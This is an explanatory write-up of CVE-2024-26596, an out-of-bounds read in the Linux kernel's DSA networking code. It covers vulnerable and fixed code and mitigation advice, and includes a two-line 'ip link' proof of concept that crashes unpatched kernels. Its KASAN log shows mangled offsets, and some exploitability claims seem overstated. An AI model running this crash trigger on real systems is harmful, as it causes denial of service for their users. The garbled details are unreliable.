CVE-2024-26596 is a recently resolved vulnerability in the Linux kernel's Distributed Switch Architecture (DSA) networking subsystem. The bug relates to an out-of-bounds (OOB) dereference involving the netdev_priv() pointer in certain network device events, especially when operating on dummy network interfaces. This flaw could lead to kernel crashes (oops) and possible local denial of service, triggered without advanced privileges.

This long-form analysis will break down the vulnerability, show practical code samples, link to source material, and give simple guidance on how and why the bug happens, along with an exploration of exploitability.

What Was the Code Doing Wrong?

Linux networking code uses struct net_device for physical and virtual network interfaces. Some subsystems, like DSA, expect their own private data attached to each interface, accessed via netdev_priv().

The vulnerable function

static inline struct dsa_port *dsa_user_to_port(const struct net_device *dev)
{
    struct dsa_user_priv *p = netdev_priv(dev); // <-- can be OOB
    return p->dp;
}

The bug: It was called without first confirming that dev was a DSA slave device.

When handling system network events like NETDEV_CHANGEUPPER and NETDEV_PRECHANGEUPPER, the code would blindly dereference the pointer returned by netdev_priv(). For most devices, this wasn't fatal because the kernel allocates substantial private space for network devices. For devices with zero private data (like the dummy interface), reading from this pointer causes a slab out-of-bounds read—something the kernel's KASAN memory error detector will catch.

To trigger the bug

ip link add dummy1 type dummy
ip link add link dummy1 name dummy1.100 type vlan id 100

This associates a new VLAN interface as an "upper" of a dummy interface, causing the kernel to emit a NETDEV_PRECHANGEUPPER event and hit the bad dereference.

Example KASAN Output:

[   43.316456] BUG: KASAN: slab-out-of-bounds in dsa_user_prechangeupper+x30/xe8
[   43.323835] Read of size 8 at addr ffff3f86481d299 by task ip/374
...
[   43.366542]  dsa_user_prechangeupper+x30/xe8
[   43.371024]  dsa_user_netdevice_event+xb38/xee8

There’s no need for root or special capabilities to *create* dummy and VLAN devices inside a user namespace, which means this is a practical local denial of service vector.

Root Cause: Dereference Before Type Check

The fix is simple but crucial: check the interface type before dereferencing netdev_priv(). The original code did something like this simplified pseudocode:

if (event == NETDEV_CHANGEUPPER || event == NETDEV_PRECHANGEUPPER) {
    struct dsa_port *port = dsa_user_to_port(dev);
    if (!port)
        return;
    // ...use port
}

This dereferences potentially unallocated memory for dummy interfaces.

The fixed approach checks the device first

if (!dsa_user_dev_check(dev))
    return; // Only continue if this is a DSA user device

struct dsa_port *port = dsa_user_to_port(dev);
// Safe to access p->dp now

Exploit Details (PoC)

Here's a step-by-step local exploit that will crash a vulnerable kernel with KASAN enabled (unprivileged user, modern Linux):

# Step 1: Create a dummy interface
ip link add dummy1 type dummy

# Step 2: Attempt to add a VLAN on top of dummy1
ip link add link dummy1 name dummy1.100 type vlan id 100

# The above will trigger a kernel warning or oops resembling:
# BUG: KASAN: slab-out-of-bounds in dsa_user_prechangeupper

On kernels compiled with KASAN (common in test or hardened builds), this will cause an immediate panic or at least a stack trace, which can be harvested to crash the system or interfere with services.

Why This Was Not Noticed Earlier

Due to the habits of most network device drivers allocating enough space at netdev_priv() (i.e., more than 16 bytes), the dereference didn’t immediately break for common interfaces. The dummy interface, with its zero-sized allocation, caused access outside the intended slab, making the vulnerability visible only in less common but valid configurations.

- Fix Commit (Linus/mainline):
net: dsa: fix netdev_priv() dereference before check on non-DSA netdevice events

Vulnerability Discussion (oss-security):

oss-security: CVE-2024-26596: Linux kernel net: dsa OOB bug

Patch diff:

Patch: avoid kernel oops by dereferencing after type check

If you cannot update immediately, avoid running untrusted code with namespace capabilities.

- Limit creation of virtual network interfaces (like dummy/VLAN combos) to trusted users.

Conclusion

CVE-2024-26596 reminds us that careful separation of type and memory management is critical in kernel code. A simple pointer dereference out-of-order can open the door to local denial of service—even in well-tested subsystems like Linux networking.

A patch is available, the fix is straightforward, and exploitability is practically demonstrated with a two-liner shell script. Every sysadmin should ensure their kernels are patched if they expose unprivileged network namespace capabilities.


If you want to dig deeper, check out the Linux kernel commit, oss-security report, or your distro's CVE tracker for notified updates.

Timeline

Published on: 02/23/2024 15:15:09 UTC
Last modified on: 04/17/2024 19:54:59 UTC